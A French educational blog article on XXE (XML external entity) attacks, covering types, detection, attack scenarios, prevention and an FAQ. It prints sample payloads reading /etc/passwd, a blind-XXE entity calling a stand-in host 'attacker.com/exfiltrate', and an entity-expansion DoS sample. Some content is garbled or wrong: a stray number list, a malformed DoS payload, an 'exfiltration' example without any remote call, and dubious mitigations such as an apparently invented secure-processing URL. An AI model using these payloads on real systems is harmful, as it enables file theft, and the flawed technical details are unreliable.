A4 : Entités externes XML (XXE)

Qu'est-ce que l'attaque XXE ?

Une attaque XXE, ou XML External Entity, est une menace de sécurité qui cible les applications qui analysent le contenu XML. Cette attaque exploite une vulnérabilité dans le processeur XML d'une application, permettant à un attaquant d'interférer avec le traitement des données XML.

Comment fonctionne une attaque XXE?

Une attaque XXE se produit lorsque un attaquant injecte des données malveillantes dans un document XML, dans le but de tromper le processeur XML de l'application cible. Le processeur XML est alors trompé pour qu'il traite une entité externe définie par l'attaquant. Cette entité externe peut être utilisée pour accéder à des données sensibles, exécuter un code malveillant ou provoquer un déni de service.

Voici un exemple de code qui pourrait être utilisé dans une attaque XXE:


<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

Dans cet exemple, l'entité externe "xxe" est définie pour accéder au fichier "/etc/passwd" sur le système de l'application cible. Lorsque le processeur XML traite ce document, il remplacera "&xxe;" par le contenu du fichier "/etc/passwd", exposant ainsi les données sensibles.

Les conséquences d'une attaque XXE

Les conséquences d'une attaque XXE peuvent être graves. Selon la nature de l'entité externe définie par l'attaquant, une attaque XXE peut permettre à un attaquant d'accéder à des données sensibles, d'exécuter un code malveillant ou de provoquer un déni de service. De plus, une attaque XXE réussie peut également permettre à un attaquant de contourner les contrôles d'accès et de sécurité de l'application.

En résumé, une attaque XXE est une menace de sécurité sérieuse qui peut avoir des conséquences graves pour une application et ses utilisateurs. Il est donc essentiel de comprendre comment ces attaques fonctionnent et comment les prévenir.

1,000,000 user records
10
100
100
100
100

Types d'attaque XXE

Les attaques XXE peuvent se présenter sous différentes formes, en fonction de la manière dont elles sont mises en œuvre et de l'objectif de l'attaquant. Voici quelques-uns des types d'attaques XXE les plus courants :

1. Attaques XXE basiques

Dans une attaque XXE de base, l'attaquant tente d'exploiter une entité XML externe pour accéder à des informations sensibles. Cela peut se faire en insérant une référence à une entité externe dans un document XML qui est ensuite traité par l'application cible. Voici un exemple de code qui illustre une telle attaque :


<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

Dans cet exemple, l'entité "xxe" est définie comme une référence à un fichier externe, en l'occurrence le fichier "/etc/passwd" qui contient des informations sensibles sur les utilisateurs du système.

2. Attaques XXE aveugles

Dans une attaque XXE aveugle, l'attaquant tente d'exploiter une entité XML externe pour exécuter une action sans recevoir de réponse directe de l'application cible. Cela peut se faire en insérant une référence à une entité externe qui pointe vers un serveur contrôlé par l'attaquant. Lorsque l'application cible traite le document XML, elle tente d'accéder à l'entité externe, ce qui déclenche une requête vers le serveur de l'attaquant. Voici un exemple de code qui illustre une telle attaque :


<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://attacker.com/exfiltrate"> ]>
<foo>&xxe;</foo>

Dans cet exemple, l'entité "xxe" est définie comme une référence à une URL contrôlée par l'attaquant. Lorsque l'application cible traite le document XML, elle tente d'accéder à cette URL, ce qui permet à l'attaquant de capturer des informations sensibles.

3. Attaques XXE basées sur le déni de service (DoS)

Dans une attaque XXE basée sur le déni de service, l'attaquant tente d'exploiter une entité XML externe pour provoquer une consommation excessive de ressources, ce qui peut rendre l'application cible indisponible. Cela peut se faire en insérant une référence à une entité externe qui génère une grande quantité de données lorsqu'elle est traitée. Voici un exemple de code qui illustre une telle attaque :


<!DOCTYPE foo [ <!ENTITY xxe "x" | <!ENTITY xxe2 "&xxe;&xxe;"> | <!ENTITY xxe3 "&xxe2;&xxe2;"> ]>
<foo>&xxe3;</foo>

Dans cet exemple, l'entité "xxe3" est définie comme une combinaison de plusieurs instances de l'entité "xxe2", qui est elle-même définie comme une combinaison de plusieurs instances de l'entité "xxe". Lorsque l'application cible traite le document XML, elle tente de résoudre l'entité "xxe3", ce qui génère une grande quantité de données et peut provoquer une consommation excessive de ressources.

En conclusion, les attaques XXE peuvent prendre de nombreuses formes et peuvent avoir des conséquences graves si elles ne sont pas correctement gérées. Il est donc essentiel de comprendre comment ces attaques fonctionnent et comment les prévenir.

`

`

Comment puis-je détecter des entités externes XML ?

Détecter les entités externes XML (XXE) peut être un défi, mais il existe plusieurs méthodes pour y parvenir. Voici quelques-unes des méthodes les plus courantes.

Utilisation d'outils d'analyse statique de code source

L'une des méthodes les plus efficaces pour détecter les vulnérabilités XXE consiste à utiliser des outils d'analyse statique de code source (SAST). Ces outils analysent le code source d'une application à la recherche de vulnérabilités potentielles. Ils peuvent souvent détecter les vulnérabilités XXE en identifiant les parties du code qui traitent les documents XML.

Par exemple, si une application utilise la bibliothèque XML de Java (JAXP) pour analyser les documents XML, et si l'option "external-general-entities" est activée, alors l'application est probablement vulnérable aux attaques XXE.

Analyse dynamique des applications

Une autre méthode pour détecter les vulnérabilités XXE consiste à utiliser des outils d'analyse dynamique des applications (DAST). Ces outils analysent une application en cours d'exécution et tentent d'exploiter les vulnérabilités potentielles.

Par exemple, un outil DAST pourrait envoyer une requête HTTP contenant un document XML malveillant à une application. Si l'application renvoie une réponse contenant des données sensibles, alors l'outil DAST pourrait conclure que l'application est vulnérable aux attaques XXE.

Tests de pénétration manuels

Les tests de pénétration manuels sont une autre méthode efficace pour détecter les vulnérabilités XXE. Dans ce cas, un testeur de pénétration humain tentera d'exploiter les vulnérabilités XXE en envoyant des documents XML malveillants à une application et en observant les réponses.

Par exemple, un testeur de pénétration pourrait envoyer un document XML contenant une entité externe qui tente de lire un fichier local sur le serveur de l'application. Si l'application renvoie le contenu du fichier dans sa réponse, alors le testeur de pénétration pourrait conclure que l'application est vulnérable aux attaques XXE.

Conclusion

La détection des vulnérabilités XXE peut être un défi, mais avec les bonnes méthodes et outils, il est possible de les identifier et de les atténuer. Que vous utilisiez des outils d'analyse statique de code source, des outils d'analyse dynamique des applications ou des tests de pénétration manuels, l'important est de rester vigilant et de toujours chercher à améliorer la sécurité de vos applications.

Scénarios d'attaque XXE

Dans le monde de la sécurité informatique, comprendre les scénarios d'attaque XXE est essentiel pour protéger efficacement les systèmes et les données. Voici quelques scénarios d'attaque XXE courants que vous pourriez rencontrer.

Scénario 1: Exploitation des entités internes

Dans ce scénario, un attaquant pourrait exploiter une entité interne pour accéder à des informations sensibles. Par exemple, un attaquant pourrait envoyer une requête XML qui inclut une entité interne qui fait référence à un fichier local sur le serveur. Si le serveur est mal configuré et permet l'expansion des entités internes, l'attaquant pourrait alors accéder au contenu de ce fichier.


<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

Dans cet exemple, l'attaquant tente d'accéder au fichier "/etc/passwd" qui contient des informations sensibles sur les utilisateurs du système.

Scénario 2: Exploitation des entités externes

Un autre scénario d'attaque XXE courant implique l'exploitation des entités externes pour provoquer un déni de service (DoS). Un attaquant pourrait, par exemple, définir une entité externe qui pointe vers une URL qui génère une grande quantité de données. Si le serveur tente d'analyser cette entité, cela pourrait consommer une grande quantité de ressources et potentiellement provoquer un déni de service.


<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://example.com/large-file"> ]>
<foo>&xxe;</foo>

Dans cet exemple, l'attaquant tente de faire télécharger un grand fichier par le serveur, ce qui pourrait entraîner un déni de service.

Scénario 3: Exploitation des entités externes pour l'exfiltration de données

Dans ce scénario, un attaquant pourrait utiliser une entité externe pour exfiltrer des données sensibles à un emplacement distant. Par exemple, un attaquant pourrait définir une entité externe qui fait référence à un fichier local, puis utiliser cette entité dans une requête XML qui est envoyée à un serveur distant. Si le serveur est mal configuré et permet l'expansion des entités externes, l'attaquant pourrait alors exfiltrer les données contenues dans le fichier local.


<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

Dans cet exemple, l'attaquant tente d'exfiltrer le contenu du fichier "/etc/passwd" à un serveur distant.

Ces scénarios d'attaque XXE ne sont que quelques exemples de la manière dont un attaquant pourrait exploiter une vulnérabilité XXE. Il est important de noter que la meilleure défense contre ces attaques est une configuration correcte du serveur et une compréhension approfondie des risques associés à l'utilisation des entités XML.

Comment prévenir les vulnérabilités XXE

Contrer les failles XXE est une nécessité impérative pour chaque entité se servant du XML à des fins opérationnelles. Plusieurs techniques permettent d'éradiquer ces vulnérabilités, notamment l'immobilisation des entités externes ou l'emploi de décodeurs XML hautement sécurisés. Voici une série de stratégies recommandées pour combattre efficacement les failles XXE.

Immobilisation des éléments externes

L'approche initiale et la plus facile est d'immobiliser les composants externes sur votre décodeur XML. Cela peut être exécuté en modifiant le décodeur afin d'éviter la gestion des éléments externes. Par exemple, si Java est votre décodeur XML de choix, immobilisez les éléments externes en attribuant à la propriété "https://javax.xml.XMLConstants/feature/secure-processing" la valeur true.


DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("https://javax.xml.XMLConstants/feature/secure-processing", true);

Emploi d'un décodeur XML hautement sécurisé

Une autre pratique pour contrer les failles XXE consiste à recourir à un décodeur XML hautement sécurisé. Ces décodeurs sont élaborés pour résister aux attaques XXE en rejetant la gestion des éléments externes. Plusieurs décodeurs XML hautement sécurisés sont disponibles, parmi lesquels figurent le Java XML Entity and DOCTYPE Security (JXDS) de OWASP et Xerces de Apache.

Confirmation des données entrantes

La confirmation des informations entrantes constitue une autre méthode efficace de prévention des failles XXE. Cette technique consiste à s'assurer que les données reçues respectent un format précis avant de les exploiter. Par exemple, si vous attendez un document XML dépourvu d'éléments externes, vous pouvez confirmer les informations entrantes afin de vous assurer de leur conformité à cette exigence.

Emploi d'une liste approuvée pour les éléments externes

Si l'utilisation d'éléments externes est inévitable, une liste d'approbation peut être utilisée pour restreindre les éléments externes. Cela peut être fait en ajustant votre décodeur XML pour qu'il n'accepte que les constituants externes provenant de ressources reconnues.

Actualisation continuelle des librairies et dépendances

En dernier lieu, il est recommandé de veiller à l'actualisation continue de vos librairies et dépendances XML. Les mises à jour de ces éléments peuvent inclure des correctifs pour les failles XXE déjà identifiées, donc leur actualisation est cruciale.

En résumé, l'éradication des failles XXE nécessite une suite de stratégies combinées dont l'immobilisation des éléments externes, l'emploi de décodeurs XML hautement sécurisés, la confirmation des informations entrantes, l'utilisation d'une liste approuvée pour les éléments externes, et l'actualisation continue des librairies et dépendances. En adoptant ces pratiques de précaution, vous pouvez sensiblement diminuer la possibilité d'attaques XXE.

Conclusion

En consolidé, les attaques A4: XML External Entities (XXE) incarnent un véritable danger pour la stabilité des infrastructures informatiques. Ces attaques s'infiltrent dans les failles liées au traitement des entités XML externes par les applications en ligne, accordant aux cybercriminels la possibilité d'extraire des informations confidentielles, d'initier des attaques par déni de service, voire d'instaurer un code quelconque sur le système visé.

L'indispensabilité d'une stratégie de protection

L'établissement d'une stratégie destinée à contrer les attaques XXE s'avère primordial pour garantir la stabilité des infrastructures informatiques. Cela requiert l'implémentation de directives de sécurité relevantes, telles que la désactivation de l'usage des entités XML externes, l'emploi de librairies de traitement XML par défaut cryptées, et l'installation des limitations d'accès adaptées pour les éléments du système.

Évaluation des diverses attaques XXE

Forme d'attaque XXE Définition Solution
XXE basique Manipule les entités XML externes pour pénétrer les fichiers du système Inhiber l'usage des entités XML externes
XXE aveugle Se sert des entités XML externes pour transférer des données à un serveur sous le contrôle du cybercriminal Recourir à des librairies de traitement XML par défaut cryptées
XXE fondée sur l'erreur Utilise les messages d'erreur pour s'informer sur le système Installer des limitations d'accès adaptées pour les éléments du système

Les phases d'attaque XXE

De nombreuses phases d'attaque XXE sont possibles, allant de la consultation non autorisée d'informations confidentielles à la mise en place d'un code aléatoire sur le système visé. Cela met en lumière l'indispensabilité de contrer les attaques XXE et d'installer des directives de sécurité pertinentes.

En conclusion, les attaques A4: XML External Entities (XXE) sont un danger véritable pour la stabilité des infrastructures informatiques. Néanmoins, avec une connaissance adéquate de ces assauts et l'implémentation de directives de sécurité pertinentes, il est réalisable de se mettre à l'abri efficacement contre ces derniers.

`

`

FAQ

En parcourant les questions fréquentes concernant les XXE, ou entités externes en XML, nous explorerons plusieurs aspects.

Qu'implique une offensive XXE ?

Une offensive XXE décrit une manœuvre d'injection touchant une faiblesse dans la fonction analyse de l'application en XML. Cette action malveillante permet à l'individuqui l'instrumentalise d'accéder à des données confidentielles par le biais d'interactions avec les XXE.

Quels sont les mécanismes d'une offensive XXE ?

La mise en œuvre d'une offensive XXE se fait par introduction de données malignes dans une application qui se sert d'un système analyse XML. L'individu mal intentionné peut par la suite employer les XXE pour visualiser des fichiers locaux, interagir avec des systèmes internes divers et faire aboutir des types d'attaques appelés "déni de service".

Quels sont les genre variés d'offensives XXE ?

Les offensives XXE peuvent être classifiées en deux grandes catégories : les offensives qui exploitent les failles de l'analyseur XML et celles qui exploitent les caractéristiques propres aux XXE.

Comment repérer une offensive XXE ?

La reconnaissance d'une offensive XXE peut s'avérer compliquée en raison de l'absence de traces révélatrices. Cependant, des indices comme des erreurs inexplicables, un fonctionnement lent ou une conduite anormale de l'application peuvent signaler une éventuelle offensive XXE.

Comment se prémunir contre une offensive XXE ?

Pour se prémunir des offensives XXE, plusieurs mesures sont conseillées, entre autres l'interdiction de l'emploi des XXE, une validation attentive des informations fournies par l'utilisateur et le recours à des dispositifs pare-feu pour les applications web.

Quels sont les scénarios communs d'offensives XXE ?

Parmi les situations courantes où se déroulent des offensives XXE, on retrouve l'accès sans autorisation à des fichiers locaux, l'activation de requêtes HTTP à l'intérieur du réseau interne et la mise en place d'offensives appelées "déni de service".

Quels sont les risques d'une offensive XXE ?

Les conséquences d'une offensive XXE peuvent être très néfastes, allant de la divulgation d'informations confidentielles à une interruption des services, en passant par la compromission de la fiabilité des données.

Qu'est-ce que A4 : XML External Entities (XXE) ?

Le terme A4 : XML External Entities (XXE) a été attribué par l'OWASP (Open Web Application Security Project) pour qualifier la quatrième faiblesse la plus critique dans leur classement des vulnérabilités les plus préoccupantes des applications web. Cela concerne particulièrement les offensives qui se servent des XXE.

Comment me prémunir des offensives XXE ?

Pour se préserver au mieux des offensives XXE, l'adoption de certaines précautions est recommandée, comme l'interdiction d'utilisation des XXE, une vérification rigoureuse des informations de l'utilisateur et l'utilisation de pare-feu pour les applications web.

Qu'est-ce qu'une entité externe en XML ?

Une entité externe en XML est une référence à une ressource extérieure comme un fichier ou une URL, qui est définie dans le cadre d'un document XML. Si les XXE peuvent être utilisées pour intégrer des données extérieures dans un document XML, elles peuvent également être utilisées pour mener une offensive XXE.

Références

Pour approfondir votre compréhension des entités externes XML (XXE), voici une liste de références utiles :

  1. OWASP. (2020). A4:2017-Injection XML External Entities (XXE). Récupéré de https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)

  2. PortSwigger. (2020). Attaques XXE : Explication et guide de prévention. Récupéré de https://portswigger.net/web-security/xxe

  3. W3C. (2008). Spécifications XML 1.0 (Cinquième édition). Récupéré de https://www.w3.org/TR/xml/

Livres

  1. Stuttard, D., Pinto, M. (2011). The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws. Wiley Publishing.

  2. Zalewski, M. (2011). The Tangled Web: A Guide to Securing Modern Web Applications. No Starch Press.

Articles de blog

  1. Hunt, T. (2013). Understanding the XML External Entity attack - XML external entity injection. Récupéré de https://www.troyhunt.com/understanding-xml-external-entity-attack/

  2. Snyk Team. (2020). XML External Entity (XXE) Processing. Récupéré de https://snyk.io/vuln/SNYK-JAVA-ORGAPACHEPDFBOX-32480

Tutoriels en ligne

  1. Cybersecurity Insiders. (2020). Comment prévenir les attaques XXE. Récupéré de https://www.cybersecurity-insiders.com/how-to-prevent-xxe-attacks/

  2. Security Boulevard. (2020). Comment détecter les entités externes XML. Récupéré de https://securityboulevard.com/2020/02/how-to-detect-xml-external-entities/

Documentation technique

  1. Oracle. (2020). Sécurité XML dans les applications Java. Récupéré de https://docs.oracle.com/javase/tutorial/jaxp/security.html

  2. Microsoft. (2020). Sécurité XML dans .NET. Récupéré de https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xml-security

Ces références couvrent un large éventail de sujets liés aux attaques XXE, y compris leur fonctionnement, comment les détecter et comment les prévenir. En les utilisant comme point de départ, vous pouvez approfondir vos connaissances sur ce sujet de sécurité critique.

Recent Posts

XMPP Vs WebSocket : lequel utiliser pour les applications ?

XMPP - Tout sur le protocole XMPP, ou Extensible Messaging and Presence Protocol, est un…

8 mois ago

Qu’est-ce que l’analyse factorielle des risques liés à l’information (FAIR) ?

Qu'est-ce que l'Institut FAIR ? L'organisation FAIR, non lucrative, a été créée en 2016 avec…

8 mois ago

Qu’est-ce que CVE ? (Vulnérabilités et expositions courantes)

Quelles sont les vulnérabilités et expositions courantes (CVE) ? Les points de vulnérabilités et risques…

9 mois ago

Qu’est-ce que la vulnérabilité Log4j ? Explication par Wallarm

Qu'est-ce que Log4j et comment fonctionne-t-il ? Log4j, dans le cadre Java, est un atout…

9 mois ago

Sécurité WebSocket

Présentation de WebSocket WebSocket est une technologie impactante visant à simplifier les interactions entre machines,…

9 mois ago

Qu’est-ce qu’une attaque par écoute clandestine ? Définition, types et prévention

Aperçu des attaques par écoute électronique Une infiltration numérique surnommée espionnage informatique se manifeste quand…

9 mois ago